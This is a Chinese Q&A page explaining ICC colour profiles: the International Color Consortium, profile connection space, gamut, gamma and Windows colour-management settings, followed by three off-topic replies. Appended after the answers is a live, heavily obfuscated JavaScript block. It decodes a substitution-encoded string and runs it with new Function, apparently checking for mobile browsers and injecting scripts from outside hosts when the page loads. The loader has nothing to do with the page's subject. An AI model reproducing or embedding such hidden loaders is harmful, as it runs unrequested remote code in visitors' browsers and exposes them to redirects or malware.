什么是色彩描述文件?还有色彩描述文件有哪些特点?(详细的)

2025-03-25 16:50:38
推荐回答(4个)
回答1:

  通俗点解释就是,一个图片在照相机拍摄、电脑上显示、打印机打印出来的效果总会不一致,相信你应该也有过这样的经验。为了使得在所有设备上图片尽可能一致不出现差别,国际上一些厂商联合制定了这么一个标准,使用ICC也就是你说的色彩描述文件来对它进行规范,我的理解它的实质就是把单个设备的表现效果都换算成标准配置在一个文件里,打一个比方吧:

  假定用数字表现颜色,我们给颜色设一个标准显示状态,叫A,某个颜色在A状态下为1,用B打印机打印出来颜色就变了,成了1.5,C显示器的显示效果则是0.7;现在电脑连着C显示器和B打印机,要打印怎么办?我们分别给B和C配一个文件,把它们的各种颜色跟A的换算关系都写在里面,打印时用这个文件换算过去,先把C显示器上的颜色换算成标准颜色也就是A的颜色,再把标准颜色换算成打印机B,就可以保证最后打印出来的颜色跟显示器上的一样了。以后我们再用显示器D、打印机E……只要都给它们各自配一个文件,里面写上跟A的换算关系,这样无论用哪几台设备搭配,最终效果都能保持一致。这个A,就相当于ICC标准。当然,同一打印机由于耗材的不同,打出来的效果也会不同,所以一个打印机还要与不同种类的耗材分别搭配不同的配置文件,才能保证最后效果的一致……

  下面是网上搜来的资料:
  ——
  关于计算机的ICC
  前两天一位朋友说他拍了许多照片想处理一下打出来。不过在看网上关于处理、打印照片的简单教程的时候总是会看到一个叫“ICC文件”的东西,又是校正又是设置的,貌似很高深的样子。于是就想问一下,ICC究竟是个什么玩意儿?
  ICC是一群人,确切的说是一个组织,是1993年由包括Adobe、Apple、Kodak、Microsoft在内的数十家公司发起并成立的,全称是国际色彩联盟(International Color Consortium),简称ICC。该组织的主要目标就是要在各个设备、软件之间形成统一的色彩标准,即ICC标准。最终的目标就是让输入设备(如数码相机)、显示设备(如显示器)、输出设备(如打印机)能够自始至终地保证色彩被准确重现。

  ICC借助于一个独立的色彩空间,即设备色彩特征描述文件连接空间/参考空间(Profile Connection Space,缩写PCS)作为色彩空间转换的中间色彩空间,通过彩色设备色彩空间(RGB或CMYK)和PCS空间之间的联系,为该设备建立设备特征描述文件(Profile),从而实现了对色彩的开放性管理,使得色彩传递不依赖于彩色设备。PCS空间是通过XYZ空间或LAB空间来定义的。ICC标准总共规定了7种特征描述文件Profile,其中包括:3种基本设备的特征描述文件Profile,即输入设备Profile文件、显示设备Profile文件和输出设备Profile文件;4个附加的特征描述文件Profile,即设备链接Profile、色彩空间转换Profile、抽象Profile和被命名色Profile。

  是不是听起来很复杂?其实换一种说法就会很简单。假如我们把图像当做一道菜,那么显示设备就相当于一个厨师的味觉,输出设备相当于一个食客的味觉。或许厨师和食客都觉得自己的味觉很正常,但是你能保证厨师和食客对味道的感觉就肯定一样么?当然不能。那么为了避免出错,我们把厨师和食客的味觉全部舍弃掉,直接按照标准的食谱制作,按照盐xx克、油xx毫升、辣椒xx个之类的标准制作。最后得到的菜不管厨师和食客感觉如何,最起码,一道菜被真实还原了。ICC文件,就相当于一个食谱的标准项目和单位;而ICC文件的调校,就相当于把食谱中各个项目和单位统一,放盐的时候不能说“少许”,而是要说“xx克”。当然,这是Frank自己的理解,也许有些牵强了:)。

  ——百度百科是因为用翻译软件翻的,所以不知所云,搜集整理又重新翻译了一下:
  ICC色彩管理

  印刷工作流程中涉及到许多图像设备,如数码相机、扫描仪、打印机、数码打样机、印刷机和显示器等,但是每一种设备都有不同的色彩表现能力。例如,在一个数值为R=128,G=128,B=128 的像素点,应该产生一个完全的中性灰色调,但是在一些设备上,这个灰看起来偏暖,也就是发红,或者在另外一些设备上,这个灰看起来偏冷,也就是发蓝。设备的这些固有特性使一幅图像从一个设备传到到另一个设备上的时候,图像色彩的一致性、准确性和可预见性都很难保证。

  国际色彩联盟(ICC)的成立就是为了解决这个问题。在 1993 年由苹果电脑和其它7家公司创立了ICC,现在ICC有超过70家设备制造商和软件开发商成员,包括 SONY,HP,Creo,Adobe 和 Quark 等。其作用就是创建色彩管理的标准和核心文件的标准格式。所努力开发的核心就是 ICC Profile(ICC 色彩特性文件)和色彩管理模块(CMM)。这两者保证了色彩在不同应用程序,不同电脑平台,不同图像设备之间传递的一致性。

  ——
  什么是ICC色彩描述文件

  我们知道,一个数码图片在其内部数据不改变的情况下,在不同的输入输出设备上,会因不同的色彩还原方式不同而得到不同表现结果。这也使得影像重现变成一个难题:如何让扫描的影像数据再次输出之后得到的图像与原稿一模一样?如何让同一个图片文件在不同打印机或印刷设备上印刷出来的效果一致?如何让图片在屏幕上的显示与打印机打印出来的效果一样?以及在不同的平台或环境的屏幕上的显示效果如何才能接近一致?

  在1993年,国际色彩印刷协会 (International Color Consortum) 建立一组色彩的工业标准,也就是 ICC 色彩描述文件,妥善地解决色彩一致性问题。这个标准的成员包括许多国际知名厂商:Adobe,Agfa,Apple,Kodak,Microsoft…ONYX也是创始会员之一。这个标准主要针对当前应用的所有数码影像格式做了系统整合,并在 ICC 色彩标准定义下建立输出输入设备的色彩描述文件(Deveic Profile),支持各种平台的色样描述(Device Characterization)。是在各种输入设备(如扫描仪、数码相机)、显示设备(如屏幕)、输出设备(如打印机、激光或印刷机等)上,依照色样标准对色彩进行一系列校对之后,建立色彩描述文件,也就是所谓ICC Profile。让不同设备依照输出设备的色域为基础做不同色彩空间转换模式,以达成使用者色彩管理系统。

  输出输入设备色域
  色域(Color Gamut),就是指某种设备所能表达的颜色数量所构成的范围区域,即各种屏幕显示设备、打印机或印刷设备所能表现的颜色范围。
  在现实世界中,自然界中可见光谱的颜色组成了最大的色域空间,该色域空间中包含了人眼所能见到的所有颜色。
  为了能够直观的表示色域这一概念,CIE国际照明协会制定了一个用于描述色域的方法:CIE-xy色度图。在这个坐标系中,各种显示设备能表现的色域范围用RGB三点连线组成的三角形区域来表示,三角形的面积越大,就表示这种显示设备的色域范围越大。

  在没有ICC色彩描述文件之前,要使用色彩管理系统对色彩产生程序,往往需要依照各设备厂商自己的单一规格标准来建立输出输入设备的色彩描述特性文件。这种单一直接转换可能有比较好的色彩表现,但却会因输入、输出设备的不同,而需要很多色彩修正模式,非常复杂麻烦,非一般人所能胜任。如果采用 X、Y、Z色彩坐标模板作为参考标准,或许可以得到 Device Independent Color 的要求。但是,由于没有统一的格式,也就无法套用在各厂家的设备上。

  ICC 色彩标准是利用色彩描述文件的连续性色彩空间(Profile Connection Space),针对各输入、输出装置依据统一色彩描述文件格式,进行一致性色彩校正和建立色彩对应模式。

  ICC 色彩描述文件流程
  在 ICC 色彩标准格式下,影像可以在不同厂商品牌的设备,不同的耗材之下获得一致性的色彩表现,因此,ICC色彩标准己纳入国际标准组织 ISO 成为一个色彩标准规范。

  知名配备厂商除了全面使用 ICC 色彩标准格式外,也独自开发较为简单的色彩系统;如HP的sRGB,APPLE RGB,Adobe RGB作为使用的色彩表现,比一般使用屏幕RGB有更多色域显现,也广受设备厂商采用。

  ICC 色彩标准的规范,能有效地获得各种影像输出入设备色彩的一致性指标。使用者可以用MAC的Color Sync、Windows WS 98SE、Kodak Digital Sciencs ICC以及ONYX PosterShop的色彩管理软件进行色彩设备的校色编辑制作。ICC 的文件数据主要是应用色彩空间转换(Conversion);依照各种影像设备的色彩描述文件的数值数据,将影像的色彩数据由『设备所能产生色彩空间』(Device-Dependent Color space)转换成『设备独立色彩空间』(Device-Independent color space)。ICC 的堆栈定义如左图所示;将各种影像设备的坐标用数学模式来解释两者之间的转换模式。由此,任何色彩都可以用数据来描述,进而导入各设备间的数学转换的关系的方式。

  如果用这种理论来解释,可能会使初学者迷惑;简单的说 ICC 就是建立色域对应机制(Gamut Mapping),将不同色域的设备,依照标准规范的色彩校正,把影像色彩还原到接近原稿的色域。这种对应的原则,则必须根据影像色彩的亮度、色相、饱和度三因素进行不同程度的线性、非线性或同等色度压缩模式的运算处理。

  ——
  颜色管理设置常见问答

  以下是有关颜色管理的一些常见问题的解答。还可以在Microsoft 图像颜色管理网站中找到有关颜色管理的其他信息。

  什么是颜色配置文件?
  颜色配置文件就是一个描述特定设备在特定状态下颜色特征的文件。配置文件还可能包含定义查看条件或gamut映射方法的其他信息。在使用计算机的颜色管理系统时,无论设备或查看条件如何,颜色配置文件都可以帮助确保彩色内容的呈现效果可接受。在将新设备添加到计算机时,通常会自动安装该设备的颜色配置文件。

  一个设备为何会有多个颜色配置文件?
  一个颜色配置文件代表某个特定设备在某一特定状态下的颜色特征。任何导致设备的颜色行为发生变化的更改都需要一个单独的配置文件。此外,还可以针对不同的项目优化配置文件。例如,一台打印机可能提供有多个配置文件,每个配置文件适合不同的纸张或墨水。

  什么是颜色管理?
  颜色管理是一个系统,用于确保彩色内容在任何位置的呈现效果都让您满意,包括显示器和打印机等设备。

  为什么需要颜色管理?
  不同类型的设备往往会有不同的颜色特征和功能。例如,对于同一组颜色,显示器无法显示出打印机能够打印出来的色彩效果。这是因为每个设备呈现彩色内容的过程是根本不同的。扫描仪和相机的颜色特征也不同。甚至不同的程序有时对颜色的解释和处理也不同。如果没有一致的颜色管理系统,相同的图片在各个设备上的显示效果便会不同。彩色内容的显示效果还取决于查看条件(例如周围的光照条件)。这是因为人眼在不同条件下对颜色的感觉不同,即便是在查看相同的图片时也是如此。

  因此,颜色管理将维护彩色内容中的关系,从而在具有不同的颜色功能的设备上以及在不同的查看条件下能够获得可以接受的显示效果。这需要颜色管理系统控制设备特征与查看条件之间的关系,以便获得可接受的显示效果。

  什么是颜色空间?
  颜色空间就是一个三维模型,在该模型中用色调、数值和色度绘图以表示设备呈现颜色的能力。

  什么时候应该更改颜色管理设置?
  由于默认颜色管理设置通常会令人满意,因此只有在当前设置不能满足特定颜色管理要求时才应更改这些设置。因此,这些选项通常供颜色专业人员使用。

  如何为某个设备添加颜色配置文件?
  通常会在安装新设备的过程中自动添加颜色配置文件。也可以通过颜色管理工具添加颜色配置文件,例如监视器的校准设备。因此,您的设备可能已经有颜色配置文件。但是,如果确实需要安装新配置文件,可以执行下列步骤:
  单击打开“颜色管理”。
  单击“配置文件”选项卡,然后单击“添加”。
  选择新颜色配置文件,然后单击“打开”。 如果系统提示您输入管理员密码或进行确认,请键入密码或提供确认。

  ——
  何谓ICC配置文件?
  显示器和打印机的ICC配置文件用来描述显示器或特定打印条件下的颜色性能。ICC配置文件的最通用文件格式遵循ICC(International Color Consortium,国际色彩联盟)规范。

  在Mac OS X上,ICC配置文件有时被称为ColorSync配置文件。在Windows上,ICC配置文件有时被称为ICM 配置文件。ICM(Image Color Management,图像色彩管理)配置文件、ColorSync配置文件和ICC配置文件都遵循ICC配置文件格式规范。

  提示:打印机ICC配置文件根据特定打印环境而定。您的打印机可能支持不同的基材类型、多种分辨率和其他打印设置。每一项都会影响打印机的颜色性能。打印机ICC配置文件描述特定打印机的基材和打印机驱动程序设置特定组合的颜色行为。要获得最佳效果,您需要为您所使用的每个唯一打印条件制作 ICC 配置文件。详情请参阅“关于打印机色彩管理”。

  ——
  什么是色彩管理?有尼康产品的ICC配置文件吗?
  色彩管理这个概念,是指执行一种工作方法,尝试对数码影像的呈现方式进行标准化。其目的是确保所有影像的外观(色彩、亮度等)在移动、查看和通过任何计算机打印后,仍然保持协调。
  ICC(国际色彩协会,http://www.color.org)针对影像的处理与复制,制订了一套色彩管理系统定义的标准。本页将简要说明其中的基本原则。它达到标准化的方法,是通过定义所谓的影像色彩空间。简单地说,此色彩空间定义由以下几部分组成:
  1. 红、绿、蓝色的定义(色度)
  此定义是把纯红色(r=255,g = 0和b=0)、纯绿色(r=0,g = 255和b=0)和纯蓝色(r=0,g = 0和b=255)的数字值,与人类视觉系统可以感知的、从自然色彩范围中获取的一套原始色彩互相关联。
  例如,两个胶片扫描仪扫描相同的影像,可能会产生不同的效果。这是因为使用了不同的色彩过滤器将影像分解成红、绿和蓝色通道。两个扫描仪都会为影像产生一组数字值,但是为了得到这些值所被测量的色彩不会是相同的。此外,相同的影像在不同的显示器中查看时亦有所不同,这是因为制造商使用不同的化学材料来产生我们所看到的色彩。
  2. 白点。
  人类视觉系统可以在非中性环境光线中,通过参照其它已知自然物体(如人的皮肤、植物等)来定义白色。因此,只要观察者有其它参照物,白色物体即使在彩色光线下也会呈现白色。但电子系统没有人类视觉系统的这种独特技能和计算功能,因此无法将色彩补偿到相同程度的表观精确度。对于拍摄影像或查看影像时的环境光线,色彩空间可以包括相关的补偿信息。
  3. 伽玛(Gamma)。
  伽玛是一个数学术语,用于描述影像中中性色调的偏移。伽玛值不影响整个密度范围(换句话说,不影响色彩空间中的最亮与最暗点),但会大幅度地影响总体外观:低伽玛值会产生饱和、灰暗的影像,而高伽玛值会产生饱和度不足、泛白的影像。所有成像设备(如显示器、数码相机和扫描仪)均利用某类伽玛值,在数码和仿真之间进行换算。可以为色彩空间指定伽玛值,以便能够复制正确的色调。

  尼康产品与色彩管理
  Nikon Scan 2软件把色彩管理引入LS-2000和LS-30扫描仪,Nikon D1相机也通过Nikon Capture软件用色彩管理处理RAW(NEF)文件。作为ICC配置文件的组成部分,色彩管理无法在比这些型号更早的扫描仪上使用。
  没有适用于COOLPIX系列相机的ICC配置文件。这是因为此类影像是由相机中的处理系统产生,该系统会根据每次拍摄时的特定色彩范围与构图,产生具有最佳色彩空间的影像,其色彩空间近似于标准RGB(或sRGB)。

  基于上述原因,我们认为有几个关于色彩复制的要点是对您有用而值得考虑的。
  色彩是电磁能刺激眼睛的效应所产生的生理感觉(彩虹的颜色)。每个人均有他自己独特的“颜色”感知力。此感知力可能会随心情和环境的变化而改变。
  肉眼察觉的某些颜色在自然界中是不存在的。例如,在电磁光谱中并没有紫色。当同一物体似乎发出特定的蓝色与红色时,便在人脑中形成紫色。
  眼睛不能像科学仪器那样通过波长和等级分析颜色。它是根据三类颜色感知细胞对红、绿、蓝三种光谱颜色刺激所作出的反应来分析颜色。由此产生特定于人类视觉系统、人与人之间略有不同(或在“色盲”的情况下显著不同)的色彩范围(叫作色阶)。
  只要是通过如RGB,CMYK,Hexachrome等原始色彩来呈现颜色的分析系统,无论是数码的或胶片的,都无法与人类视觉系统具有相同特性。这些系统也无法获取自然界中的所有颜色。在不同的彩色模式间转换影像,可能会造成某些颜色的丢失。

回答2:

我等也是山财的,飘过

回答3:

哥,我也是山财的。坐等强人……

回答4:

难道亲你也是山财的么。。。

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();